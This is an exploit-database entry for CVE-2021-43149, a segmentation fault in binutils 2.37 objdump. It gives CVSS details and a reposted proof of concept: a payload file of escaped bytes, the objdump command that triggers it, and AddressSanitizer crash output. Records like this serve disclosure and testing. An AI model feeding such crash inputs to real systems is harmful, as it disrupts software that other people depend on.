Exploitalert - Database of Exploits

binutils 2.37 Objdump Segmentation Fault

CVE	Category	Price	Severity
CVE-2021-43149	CWE-119	Unknown	High

Author	Risk	Exploitation Type	Date
Matthias Kaschubowski	High	Local	2022-04-07

CVSS	EPSS	EPSSP
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/S:U/C:H/I:H/A:H	0.761573	0.986504

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Local	AV	The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements	Present	AT	The successful attack depends on the presence of specific deployment and execution conditions of the vulnerable system that enable the attack. These include: A race condition must be won to successfully exploit the vulnerability. The successfulness of the attack is conditioned on execution conditions that are not under full control of the attacker. The attack may need to be launched multiple times against a single target before being successful. Network injection. The attacker must inject themselves into the logical network path between the target and the resource requested by the victim (e.g. vulnerabilities requiring an on-path attacker).
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2022040031

binutils 2.37 Objdump Segmentation Fault

# Exploit Title: binutils 2.37 - Objdump Segmentation Fault # Date: 2021-11-03 # Exploit Author: p3tryx # Vendor Homepage: https://www.gnu.org/software/binutils/ # Version: binutils 2.37 # Tested on: Ubuntu 18.04 # CVE : CVE-2021-43149 Payload file ``` %223"\972\00\0083=Q333A111111114111113333<33A $$$\FF)$\80 1114 \00\80\99\00111111111111111-11111111111111111111111111111111111'111111111111111111 111111*111111111111111111111111111111111111111111111111111111111111111111111111111*111111111111111111111111 $%22622FF7FFF11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 1))\FF)$1 1111 $%22111111111111111111111111111111111.1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111101111111111111111111111111111111111111111111111111111111111111111111111111111622FF \00\00\00FFFFFFFFFFFFFFFFFFFFF222CFFFFFF \81 \8D 1111 $%22622FF7FFFFFFFFF111111111111111111111111111111111111111111111111111111q1111111111111111111111111111111111111 1))\FF)$1 1111 $%22622FFFFFDFFFFFFFFFFFFFFFFFFFFF222CFFFFFF \81 \8D 1111 $%22622FF7FFFFFFFFF11111111111111111,1FF\83 \81 \8D 1111 $%22622FF7FFFFFFFFFFFFFFF \FF \00\80\99\00 1))\FF)$\80 1114 \00\80\99\0011111111111111)111111111111111111111111111111111111111111111111111111 1))\FF)$1 1111 $%22622FFFFFFFFFFFFFFFFFFFFFFFFFFF222CFFFFFF \81 { \8D 1111 $%22622FF7FFFFFFFFF11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 1))\FF)$1 1111 $%2262211111111111111111111111111111111111111111111\00\00 \00111111111111111111111111111111111111111111111FFFFFFFFFFFFFFFFFFFFFFFFFFF222CFFFFFF \81 \8D 111 $%22622FFF1111111111111111111FF\83))\FF)$1 1111 $%22622FFFFFFFFFFFFFFFFFFFFFFFFFFF2E2CF9FFFF \98 \81 \8D 1111 $%22622FF7FFFFFFFFF1111111111111111111111111111111111111111111111111111111111111111111111111111 1))\FF)$1 1111 $%22622FFFFFFFFFFFFFFFFFFFFFFFFFFF222CFFFFFF \81 \8D 1111 $%22622FF7FFFFFFFFF1111111111111111111FF\83 \81 \8D 1111 $%22622FF7FFFFFFFFFFFFFFF \FF \00\80\99 1))\FF)$\80 1114 \00\80\99\00111111111111111111111111111111111111111111111111111'111111111111111111 1111111111111111111111111111111>11111111111d\00\00\00111111111111111111 111111111111111111111111111111111111111111111111111*111111111111111111111111.1111111111111111111111111111111;111011111111111111111111111111111111111111111111111111\EA111111111111111 $%22622FF7FFF111111111111111111111111111111111111111111111111111111111111111111111111111111111111.1111111111111111111111$1 1111 $%22622FFFFFFF1111111111111111111111111111\BF\BF\BF\BF\BF\BF1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111!11111111111111'111111111111111111 111111111111@111111111111111111d\001111 \0011111111111111111111111111111111111111111111111*1111111111111111111111111111111111111111111111111111111111110111111111151111111111111111111111111111111111111111111111111111)111111111111111111111111111F111111111111111111111111 1111111FFFFFFFFFFLFFFFFFF11111111 111111111111111111111111111111111 $%22622FF7FFF111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111P1111111111111111111111111111111111111111111111111111111111111111111111111111111111.11111111111111111111111111111111111111N1111111111111111111111111111111111111111111111111 1111111111111111111111111111\FF\FF1111111117111111111111111111111111111111111))\FF)$11111111111111111111111111111111111111111111111111111111111111111111111111*111111111111111111111111111111111111111111111111111111111111@1111111111111111111111111111111111111111111111111111\00\00 \0011111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111M111111R111111111111 111111111111 111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 1))\FF)$1 1I11 $%22622FFFFFF1FFFFFFFFFFFFFFFFFFFF222CFFFFFF \81 \8D 1111 $%22622FF7FFFFFFFFF111111111111 111111111111111111111111111111111111111111111 1))\FF)$1 1111 $%22622FFFFFFFFFFFFFFFFFFFFFFFFFFF$%22622FFFFFFFFFFFFFMFFFFFFFFFFFFF222CFFFFFF \81 \8D 1111 $%22622FF7FFFFFFFFF11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111FFFFFF \FF \00\80\99\00 1))\FF)$\80 1111 \00\80\99\00a1))\FF)$1 1J11 $%22@22FF11111FFFFFFFFFFFFFF222$)$ ``` RUN the POC # binutils-2.37/binutils/objdump -T -D -x crash_2.37 ASAN:SIGSEGV ================================================================= ==27705==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x000000000000 bp 0x7fffffffdee0 sp 0x7fffffffde38 T0) ==27705==Hint: pc points to the zero page. AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV ??:0 ?? ==27705==ABORTING

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